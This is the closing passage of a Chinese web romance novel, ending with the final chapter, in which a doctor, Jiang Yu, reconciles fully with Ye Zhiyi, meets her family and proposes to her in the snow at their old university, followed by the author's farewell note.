专业和医学相关的人一般都对影视作品里血淋淋的场面没什么太大感觉,蒋煜很少看文艺片和爱情片,日常精神放松会看一些惊悚电影,米棠在家里住过一晚,他也能专注地陪她听半小时动画片。 蒋煜没在卧室待着,他找好电影,就把平板拿到餐厅,跳过片头后就按下暂停键。 随意翻开一页的课本不是学校教材,是他自用的专业书。 直到最后一道菜端上桌,教材也没翻页,他就这样安静地看了叶之一将近四十分钟。 “好啦,”叶之一伸手揉揉他的短发,“我晚上不走。” 蒋煜这才心满意足,起身去给两人添饭。 他也是有点手段的,知道她吃软不吃硬。 和情人节那份工作餐不同,今天这几道菜是特意为他做的,他没多吃米饭,把菜全吃光了。 身上多少沾点油烟,叶之一又洗了个澡,头发也洗了。 她在鱼缸旁边看鱼,蒋煜站在她身后,用毛巾帮她擦头发。 蓝色发光小鱼在水草间穿梭游动,她数了数,一条没少。 这些鱼是蒋煜自己买的,他还加了卖鱼老板的联系方式,“我养的好不好?” “它们的尾巴这么有力,应该很健康吧,”叶之一不懂养鱼技巧,“左桉办公室里也有个鱼缸,他的鱼没这些漂亮。” 蒋煜整理毛巾的动作顿了一秒,“你什么时候去过他的办公室?” “七月份,学校剪彩,我去公司给他送邀请函。” “他摆架子,要你亲自送?” 叶之一说:“他帮我,是看你的面子,我跟他又没有情分。我那天去找他,还挺尴尬的。” “他为难你?”蒋煜转身就要去拿手机,“我打电话骂他。” 左总没有功劳也有苦劳,不能冤枉他。 叶之一连忙抱住蒋煜的腰,解释道:“左桉没有为难我。我撞见他的前女友找他复合,是不是很尴尬?” 蒋煜比她了解左桉,“前女友在他的办公室,他还让秘书带你进去,这是拿你当挡箭牌,更欠骂。” “那女孩是个网红博主,佳岚经常看她的化妆视频,她有一次直播边卸妆边哭,说前任对她特别好。” “他对每一任女朋友再好也改不了花心的本性。” 叶之一好奇地问:“左桉谈过多少个?” 晚餐时间很温馨,蒋煜本来都忘了初恋这茬,这会儿她反复在他面前提起左桉,让他难以忽视,嫉妒心卷土重来。 都是左桉的错。 她湿润的嘴唇微微张开,蒋煜不想再听到左桉的名字,直接低头堵住她的话音,将她对左桉私人感情的那点好奇心吞没。 “叶之一。” “……嗯?” “你一直在说别的男人的事。” “你不高兴啊,那我不说了。” 蒋煜神色如常,站在床边给叶之一吹头发。 他关了灯,掀开被子躺上床,从后面搂住她,手老老实实地放在她腰上。 很不对劲。 他不会是吃左桉的醋吧? 病中多思,心情不好很正常,她没觉得他阴晴不定,反而有些可爱。 眼睛适应黑暗后,叶之一翻身面对着他,还没做什么,就被他摁住了。 蒋煜语气平淡:“睡觉。” 她凑过去亲他的下颌,“睡不着,我们……” 在她讲出直白的话之前,他淡定地说:“不闭眼当然睡不着。” 叶之一:“……” 他是个病人,显得她像个不顾病人生死硬要强来的色女。 他的手掌在她后背轻轻拍着,哄她自然入睡。 叶之一吹头发的时候就在犯困,被窝里暖融融的,他身上的气息很好闻,没撑多久就睡着了。 她不用再吃安眠药,从前早晨醒来时那种脑袋浑浊沉重的感觉已经很久没有过了。 窗帘完全闭合,室内光线极暗。 视线朦胧不清,眼睛睁开又闭上,身体感官渐渐被唤醒,手指本能攥紧床单,缓了一会儿,轻飘飘的意识才回笼。 “蒋……煜……”她连名字都叫不连贯。 蒋煜听到了,爬上来吻她。 他唇边和下巴湿湿的,她偏头避开。 “嫌弃自己?”蒋煜闷声低笑,声音有几分沙哑,“看来是真醒了。我不嫌弃,我喜欢。” “你烦死人了,”细碎的吻从锁骨往上蔓延,叶之一以为自己做了个春梦,“几点了?” 昨晚一幅清心寡欲的模样,结果天一亮就往被子里钻。 她刚醒,抓着他短发的力道失控,蒋煜随她去,捉住她另一只手往枕头里摁,她越躲,他就越要吻她,“有那么舒服吗?都忘了今天是周六。” 叶之一恼羞成怒,“我没睡好!” “不到十一点就睡着了,八小时睡眠足够,睡太多也不好。” “就你会说话。” 好,少说,多做。 …… 再醒来,已经临近中午。 昏睡的叶之一被蒋煜拽起来吃午饭,这次是正常叫醒。 室内二十四小时恒温,她盘腿坐在椅子上,两眼无神,身上只套着他的一件t恤。 蒋煜和她坐在同一侧,伸手摸了摸她的头发,忍着没笑,“先喝碗汤,我给阿姨打了个电话,她送糖糖去上配音课,下午我们去接。” 叶之一有气无力地应了一声:“嗯。” “晚上我得回蒋家一趟。” “那你别折腾了,我去接。” 蒋煜去接米棠下课,肯定是要把她们送到家门口的,“我答应小孩儿了,不能让她失望。” 叶之一给他夹菜,“你很喜欢孩子,是不是?” 蒋煜很快反应,他当然清楚米棠对于叶之一的重要程度。 米棠正处在敏感的年龄,小姨和外婆是她的全部,如果有另一个人来分走她现在所拥有的爱,她一时半会儿接受不了。 “我喜欢的是糖糖,”蒋煜收起玩笑的情绪,郑重其事地说,“我们分开那么多年,平时各忙各的,相处时间本来就少,我不愿意再多一个会吵会闹的小孩来缩减挤压我们二人世界,至少近几年内不考虑。就算我们领证结婚了,你也不要有生育压力,我家那边的思想工作我来做。” 他是真心的。 哪怕在她视为交易的那段时间,他也没动过用孩子绑住她的念头。 叶之一笑了笑,“我随口一问,干嘛这么紧张?” 蒋煜声线温和:“怕你钻牛角尖。” “没有,我心情好得很,”她轻声叫他,“蒋煜。” 蒋煜侧首看她,“怎么了?菜不好吃?” 她语气自然:“好吃。我爱你。” 蒋煜愣住。 几秒钟后,他唇角缓缓上扬,“什么?没听清,再说一遍。” 床上滚过那么多回了,早上还被口醒,说一句情话却别扭得脸颊发烫,叶之一埋头吃饭,“耳朵不管用就把耳朵捐了。” 蒋煜凑过去吻她,被她嫌弃地推开。 他也不生气,握着她的手指送到唇边亲了亲。 心里那点情绪烟消云散。 …… 蒋煜的车还在4s店,他现在也开不了车,傍晚两人打车去接米棠,再回她家。 以前他是不能上楼,现在是不方便上楼。 他有伤,想着等伤好全了再正式登门。 米棠自己去按电梯,周围没人,叶之一转身在蒋煜的唇上亲了一下。 蒋煜轻柔回吻,“到了给你发消息。” 电梯门开了,米棠朝着蒋煜的方向挥手,“叔叔拜拜。” 蒋煜说:“明天见。” “你那么快就想小姨呀。” “也想你,进去吧。” 显示屏的数字到达12楼,蒋煜才离开,他到小区门口,裴起严迎面走过来。 已成定局,两人视线交错时,那股针锋相对的硝烟就不存在了。 蒋煜先开口打招呼:“没上班?” 裴起严也不是小气的人,“今天休息。” “伯母怎么样?” “年纪大了,摔一跤,很多问题都出来了,得慢慢修养。” 车快到了,蒋煜先走一步。 裴起严点了根烟,叫住他,“我想了又想,有件事,你应该知道。” 他们没有共同的朋友,只可能是关于叶之一的事。 路灯亮起,蒋煜给司机加钱,让司机在外面等五分钟,他转过身,等裴起严开口。 烟雾缓缓而上,散在空气里。 裴起严的声音有些沙哑。 “你们吵架那天,是我关了她的手机,她没想利用我气你,是我拿堵车当借口,带她绕了远路。你离开后,我不放心,上楼去看她,敲了很久的门都没人应,我输密码进去,才发现她呼碱了。蒋医生,你待过急诊,应该见过呼吸性碱中毒的症状,但你没有亲眼看到她抽搐痉挛差点窒息的样子,我见过两次,上一次是她姐姐遗体火化。说这些不是为我自己辩解,更不是立人设,我不大度,没有和情敌握手言和当朋友的肚量。” 他停顿片刻。 深呼吸后,脸上露出释然的笑意,很淡。 “以一一的性格,大概永远不会告诉你,我既然退回到哥哥的身份,就多嘴说几句,但语言的杀伤力再大,也远不如亲眼所见。那天那么冷,她的衣服都汗湿了,我不知道她是怎么从门口爬到沙发旁边找袋子自救的,即使我没有闯进屋,她也能熬过去,等她恢复了,第二天依旧可以当作什么事都没有发生过。蒋煜,请你一定要珍惜她,别让她在你家受委屈。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第53章【全文完】 第53章 裴起严上楼后, 蒋煜进了小区外的便利店。 他拿了一包烟,扫码付款之前,思绪停顿几秒, 又把烟放回去,换了一袋薄荷硬糖。 走出便利店, 他用手指捏爆塑料密封包装, 把硬糖含进嘴里,强烈刺激的辛辣味迅速从舌尖蔓延至整个口腔, 连喉咙里都是这股清凉感,浑浊的大脑逐渐清醒。 蒋煜站在原地, 看向路边的临时停车位。 吵架那天, 蒋煜下班后赶去找叶之一,途中宋佳岚十分抱歉地发消息告诉他, 叶之一被裴起严接走了, 他立刻调头,来她家等人。 当时, 他的车就停在那里。 去年那个陪闺女上夜班的老奶奶今年也还在卖花, 在小摊前停留驻足的客人少之又少。 十分钟前, 叶之一带回家了一小束粉色郁金香。 那晚蒋煜摔门离开后,其实没有走。 他在车里坐到凌晨, 等叶之一追出来。 只要她往前迈一步,他就回头,但她没有。 彻底断了就意味着多年感情不复存在,现在和未来都与对方无关, 那晚他心如死灰,以为她天生薄情,却没想到, 在他看不到的地方,她因为他难过得近乎昏厥。 叶之一不肯去医院,也不让裴起严打120叫救护车,大概就是猜到他还在小区外面。 如果裴起严今天不说,蒋煜永远都不可能从她的嘴里听到关于那晚的细枝末节。 就像大学毕业前两人纠缠争吵的那段时间,如何同时兼顾家务事和工作,如何煎熬度日,她偶尔提起,也只是寥寥几句简单带过。 出租车司机抽完一根烟,问蒋煜走不走。 蒋煜回过神,心里那阵痛感并未减轻。 他相信裴起严的诚意,也信守承诺,装作什么都不知道,很快就打消了上楼的念头,坐进车里。 父母在等他回去吃晚饭,他愿意为了他和叶之一的未来去迁就父母。 蒋家还是老样子,夫妻两人在客厅看新闻联播都是各坐一边。 董玥问道:“怎么不一起回来?” “除了亲生的,谁想看你们的脸色?”蒋煜语气寻常,他从小就这样,说话直白,“连你们的亲外甥女沈千苓都不喜欢来蒋家。” 董玥放下茶杯,“千苓那个鬼灵精,谁能给她脸色看?” 蒋煜换好拖鞋,走过去,坐到沙发上,不紧不慢地说:“千苓是泡在蜜罐里长大的,当然不会一声不吭地吃闷亏,受一点委屈恨不得让全世界知道,我女朋友不一样,爸,妈,你们要是学不会平等地看待她,以后逢年过节都是我一个人回来。” 董玥感觉得到,他情绪不高。 他能心平气和地坐在这里,应该就不是得知了她当初私下找过叶之一,拿钱逼对方在家人和恋人之间二选一,回来兴师问罪。 董玥笑了笑,“有结婚的计划了?” 蒋煜也不瞒着他们,“准备求婚。” 双方家长还没有正式见过,蒋父问:“是不是太早了?” 蒋煜说:“谁会担心幸福来得太早?” 几年前那枚戒指是他在商场专柜挑的,没用家里的钱,价格不算贵。 现在他有了积蓄,可以买更好的给她。 九月底,蒋煜就重新预订了一枚戒指,镶嵌款式有些复杂,工期在两个月左右。 饭后,蒋煜留在蒋家住一晚。 电话打过来的时候,他正在看天气预报。 他先点接通键,拿着手机去阳台,嗓音里带着几分缱绻,“想你。” 手机那边的人捂着嘴巴笑个不停,蒋煜瞬间反应过来是米棠。 “是糖糖,”米棠趴在枕头上,对着手机说话,“医生叔叔,你怎么这么快就想小姨了?羞羞脸。你和爸爸妈妈在一起,为什么不开心呢?” 蒋煜不禁失笑,“我没有不开心,你吃饭了吗?” “我们吃了外婆做的牛肉饼,特别香,很好吃,我吃了两个,还有蔬菜,我最爱吃青菜。” “下次见面我给你量身高,看看你有没有长个子。” “好呀,我很快就会长大了。” 叶之一走进房间就看到米棠翘着腿,正绘声绘色地给蒋煜讲童话故事。 她两只手时不时还在空中比划,格外沉浸认真。 叶之一坐在床边听她讲完,伸手在她腿上轻轻拍了拍,催她去睡觉。 拖鞋在床尾,她摸索着滑下去,顺着墙边往外走,关上房门。 月色皎洁,蒋煜听着电话里传来窸窸窣窣的声响,仿佛她就在身边,“忙完了?” “晾了几件衣服,又把厨房收拾了一下,”叶之一放松地倒在床上,“我妈让你有时间来家里尝尝她的手艺,蒋医生,蒋老师,你什么时候有空啊?” “当然是随时都有空。” “可是你脸上的伤怎么办?” 蒋煜抬手摸了摸额头的纱布,“你不介意,我就不在意。” 叶之一想起昨晚他问她结痂难不难看的神情,不自觉地想笑,“笨蛋,你带着伤来,我妈就不会说你什么了。” “那我下周就去?” “下个月吧,我妈肯定是要隆重备菜的,她要先了解你的喜好,下周太匆忙。” 也对,他给未来岳母准备礼物也需要时间。 他不想挂电话,“叶小鱼。” 叶之一留了盏台灯,舒服地躺进被窝里,“嗯?” “你明天什么安排?” “想约会?” “嗯,看电影,逛街,或者去露营,做什么都好。” 下周轮到叶之一留校值班,蒋煜也恢复正常排班工作,周末才能见面,“对了,我们请佳岚和高医生吃顿饭吧,晚上再去海边散步。” 蒋煜想着,确实得感谢宋佳岚和她的家属,“顺便叫上方序?” “不能少了左桉吧。” “行,一会儿我选好餐厅把地址发给你,你约宋佳岚,我约方序和左桉。” 叶之一应下。 两人聊了一会儿,她轻声问:“心情好点了吗?” 积郁在蒋煜心头的情绪来源于他自己,人生难免遗憾和错过,他庆幸他没有失去她。 “好多了,能抱抱你就更好了。” “明天抱,”晚上气温低,叶之一说,“回房间吧,别感冒了。” 蒋煜转身往卧室里走,“晚安。” …… 请客吃饭,要首先考虑宋佳岚是个孕妇,餐厅位置不能距离她家太远,菜品也要健康。 蒋煜从蒋家出发,就把家里的车开了出来,先去接叶之一。 两个小时前叶之一就开始洗头发换衣服化妆,她平时见朋友很随意,花时间打扮自然是为了约会。 她在楼下遇到推着轮椅的裴起严,“有轮椅就方便多了,可以在小区里透透气。” 裴起严颇为无奈,“在家里一天都待不住,嫌闷。” “阿姨风风火火这么多年,摔伤了,总睡在病床上肯定不习惯的。” “多亏米阿姨天天去陪她,又是熬汤,又是炖补品。” 叶之一看着他,“裴叔让你相亲,你生气了?” 她妆容清淡,但气色好。 明明是同一个人,裴起严却觉得她和之前大不一样。 从前是攀爬在悬崖上的藤蔓,外表坚韧,实则缺乏养分,现在茎叶饱满,开出了一朵朵小花,散发着香气。 “他把我的个人信息打印出来,去公园相亲角,铺在地上给路过的人挑拣,像招聘,”裴起严说着,笑了出来,“凑合过日子,找谁都一样,但我不想凑合,他理解不了我,我也没办法说服自己顺从他,就吵了几句。” 叶之一想说什么,拿在手里的手机响了。 屏幕上显示着的再也不是一串冷冰冰的数字,而是亲昵的备注。 裴起严无意窥探他们的恋爱,余光扫了一眼,就挪开视线,“蒋医生的车在外面,我刚才看见了,去见他吧。” 他推着轮椅,“我把轮椅送回家,还有别的事要忙。” 叶之一朝他挥手,他往里,她往外。 两人身形交错时,她接通电话,裴起严听到她也叫蒋医生。 别人这样称呼蒋煜是礼貌,她叫就有点恋人之间的情趣。 “蒋医生,等女朋友约会要有点耐心。” “我等半小时了宝贝。” 今天是正式把对方介绍给自己的朋友,算不上正儿八经的约会。 蒋煜靠在车旁,“你到哪一步了?” “到口红了,”叶之一加快脚步,“你再等二十分钟吧。” “不着急,慢慢来,我就是问问……”蒋煜的话没说完,那抹熟悉的身影就进入他的视线。 她穿了件摩卡棕大衣,长发蓬松柔软,发尾卷起自然的弧度。 电话还未挂断,他就已经朝她走过去。 风里透着萧瑟凉意的季节,最适合拥抱,蒋煜昨晚就想这样抱抱她。 她的手有些凉,他用温热的手掌裹住。 叶之一喜欢他身上这种温暖的味道,“睡得好吗?” 他轻声叹气,“做了一晚上的梦。” “梦到了什么?” “梦到你,一些不太方便在外面细说的内容。” 叶之一:“……” 蒋煜把她的包放进后座,拉开副驾车门。 周围没什么人,叶之一踮起脚尖在他脸颊亲了一下,坐进车里,正巧宋佳岚打电话过来,蒋煜就没有弯腰凑进去。 姐妹俩聊了一路,快到餐厅才结束。 室外停车场视野好,蒋煜先看见左桉的车。 蒋煜提前说了包厢里有孕妇,左桉和方序打算抽根烟再进去。 车停好后,叶之一下车整理衣服,蒋煜站在她身边,挡住了不远处的左桉。 “我请客啊,”叶之一说。 蒋煜把她的包接过来,“约共同的朋友吃顿饭,还分你我?” 叶之一坚持道:“这不一样。方律师为了一个小案子忙前忙后那么长时间,我还没谢过他。” 邹城再也没有找过她的麻烦。 蒋煜没说话,只用手指点了点自己的嘴唇。 叶之一瞬间心领神会。 她不是扭捏作态的人,接个吻又不吃亏。 她抓着蒋煜的手腕,借力踮起脚,刚碰到他的唇,他就配合地低头。 方序没往这边瞧,叶之一转身就对上左桉兴味满满的目光。 左桉单手插兜,把没抽完的烟掐灭了,“秀恩爱能不能考虑一下单身人士?” “左总想脱单又不难。” “这么称呼太见外了,叫名字。” 叶之一微微一笑,跟方序打招呼:“方师兄,好久不见。” 方序上一次见叶之一还是在大学,“学妹更漂亮了。” 左桉在旁边幽幽地说:“爱情养人。” 蒋煜不置可否,他牵着叶之一往餐厅里走。 宋佳岚和高明已经在包厢了。 一个怀着孕,一个伤还没好,大家都默契地不喝酒。 蒋煜以茶代酒敬宋佳岚,宋佳岚高兴地想流泪,“这杯茶是不是代表好事将近的意思?” 叶之一听到蒋煜说:“是谢谢你这么多年陪在她身边,也谢谢你在那晚把她带到我身边。” 桌布下,她的手心覆他的手背上。 他脸上没什么异样,反握住她的手。 宋佳岚是后来才知道叶之一醉酒那晚是促成他们复合的关键,“所以我说酒是好东西嘛,希望我做完月子,能喝上你们俩的喜酒。” 蒋煜给她添茶,说这个一定。 …… 蒋煜正式登门,是在他生日前的一个周末。 米梅把这顿饭当作年夜饭的隆重程度来准备,菜单换了好几次才定下,今天一大早就起床忙活。 米棠更是心急,时间没到就下楼等,连秋千都觉得不好玩,隔几分钟就问:“叔叔怎么还不来?” “来了,”叶之一收到微信消息,“他进小区了。” 米棠立刻从轮胎秋千下去,她在学校学会了用盲杖,小区里没有盲道,她全靠里里外外爬过无数次,记住了秋千附近有什么,该往哪边走。 蒋煜带的东西多,单手抱她有点费劲儿。 叶之一过去帮忙,“是不是买太多了?” 米棠熟练地去按电梯。 “都很实用,不多,”蒋煜牵住叶之一的手,“手这么凉,等了多久?” “就几分钟。” “几十分钟吧。” 叶之一放低声音:“一会儿我妈唠叨你,你别嫌烦。” “不会,”蒋煜轻轻捏她的手指,“放心,真心抵万金。” 蒋煜没说空话,进屋后就不闲着,米梅还剩两道菜,他脱掉外套,挽起袖子就去洗手帮忙,饭后也是他来洗碗收拾厨房。 米梅看着,他做事有条不紊,不像是为了应付她临时学习做家务。 以他的条件,家里有保姆,不会这些其实也没什么。 米梅是欣慰的。 她语气温和:“我女儿在我心里,样样都好,就是性格有点倔。蒋煜,我相信你的人品,也相信你对我女儿的感情,只多叮嘱你一句话。” 蒋煜把碗筷摆好,“您说。” 米梅的眼眶有些潮湿,“日子还长,如果将来感情淡了,不要欺负她。” 米棠洗漱完,被叶之一抱进屋,她今天没午休,晚上必须早点睡觉。 米梅听到动静,在蒋煜的后背拍了拍,走出厨房。 叶之一拿起外套,“妈,明天你送糖糖去上课外班。” “好,”米梅点头,“开车注意安全。” 蒋煜擦干手,把叶之一递来的外套披上,“阿姨,我们走了。” 米梅送两人出门,看着电梯门合上才回屋。 到车里,叶之一玩笑般地问:“还紧张吗?” “像是通过了一场人生考试,”蒋煜启动车子,“现在我满脑子只想着一件事。” “什么?” “吻你。” 车里开着暖气,他扯松领口的动作莫名有几分色气。 叶之一脑海里的温情顿时被搅散,热意吹拂在空气里,隐隐躁动。 停车,上楼,开门,蒋煜连一分钟都没有耽搁。 她在玄关就被剥干净了。 今年冬天初雪来得格外早。 凌晨气温骤降,窗帘间留了一条缝隙,蒋煜透过晨光,看到外面飘飘扬扬的白雪。 蒋煜把这场雪当作提前到来的生日礼物。 他先起床,做好早饭再回屋把被子里的叶之一叫醒。 她揉揉眼睛,惊喜地坐起来,“下雪了。” 蒋煜把拖鞋放到她脚边,“不知道这场雪会下几个小时,我们抓紧时间洗漱吃早饭。” “然后呢?” “保密。” 叶之一好奇地看着他,蒋煜捧着她的脸揉揉捏捏,心情极好地把她推进浴室。 出门前换衣服时,她在衣帽间多待了一会儿,纠结是穿好看一点,还是保暖一点。 蒋煜从主卧过来,帮她选了漂亮的那一件,“我带着羽绒服,车里有保暖贴。” “去哪里?” “到了就知道了。” 雪势渐大,车开出小区,蒋煜没设定导航,是他熟悉的地方。 没多久,叶之一就猜到了他要去的地方。 校门几乎没怎么变,叶之一看着“南川大学”四个字,许多尘封的回忆被唤醒。 她毕业后就没再回来过了。 蒋煜在医学院任教,车辆畅通无阻,直接开进停车场。 周末学校不上课,很多学生依旧风雪无阻地去图书馆复习。 叶之一和蒋煜牵手走在校园里,并不特殊,他们在这里相爱,也在这里分开,对每一个角落都不陌生。 脚下的这条路,他们走过一遍又一遍。 路旁的树明显比那时高了许多,到了夏天,定是枝繁叶茂。 叶之一感慨时间的流逝,又觉得此刻就是最好的时光。 她仰起头,任由轻盈的雪花落在脸上。 蒋煜停下脚步,低头亲她泛红的鼻尖。 叶子一往他怀里依偎,“好温暖啊。” 蒋煜轻声问:“还记不记得,我是在第几棵树旁边偶然发现你藏在车钥匙挂件里的戒指?” 她眨了眨眼,“……忘了。” 蒋煜笑着说:“其实我也记不清了,大概就是这个位置。” 他后退半步,拿出几年前买的那枚戒指。 白雪冰凉,戒指却是温热的。 他捏在手心里攥了一路。 “这枚戒指迟到了很多年,叶小鱼,我爱你,让我属于你。” 雪花落在睫毛上,视线变得模糊,叶之一看着面前的人,有些恍惚。 她久久不应,蒋煜的心不再淡定。 她在看他,但又似乎不只是他。 他握住她的手,“你在想谁?” 叶之一抬手触摸他的眉眼,“想以前的你。” “那些年,我给你的初恋当替身,现在我还要给从前的自己当替身,叶之一,你太欺负人了。” “我的初恋……是你啊,蒋煜,你是我的初恋。” 蒋煜愣住。 他神情怔然,像是不敢相信。 叶之一往前靠近,吻他的唇,“我知道高中用你的校园卡在便利店里买东西的人不是你,我描述的那些心动场景,都是虚构的,用来骗你的。” 当年她故意用所谓的“初恋”气他,是想他干脆地跟她分手,结果却还是纠缠了好几个月。 蒋煜猛地反应过来,紧紧抱住她,“我才是你的初恋。” “是你,一直都是你,”叶之一笑着伸出手,“给我戴上吧。” 蒋煜又拿出另一枚钻戒,“戴哪个?” 叶之一惊讶:“怎么有两枚戒指?” 蒋煜说:“一枚是我的真心,一枚是我的诚意,我都要给你,你看心情换着戴。” 叶之一忽然想起多年前那个脆弱敏感的自己。 那时她承受不起一枚戒指的重量,畏惧明暗不定的未来。 白雪纷纷而落,被蒋煜的体温暖热的戒指缓缓推进她的手指,叶之一逐渐有了实感。 他的真心和诚意,她都受得起,也有足够的勇气握紧他的手。 命运对她不公,所幸时光偶尔温柔。 曾经那个赤诚热烈的少年,依然在她身边。 (全文完)—— 作者有话说:完结喽,第一本签约文,非常非常感谢所有读者两个月的陪伴。 今年还剩两个多月,请大家多多幸福。 有缘我们下本再见。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m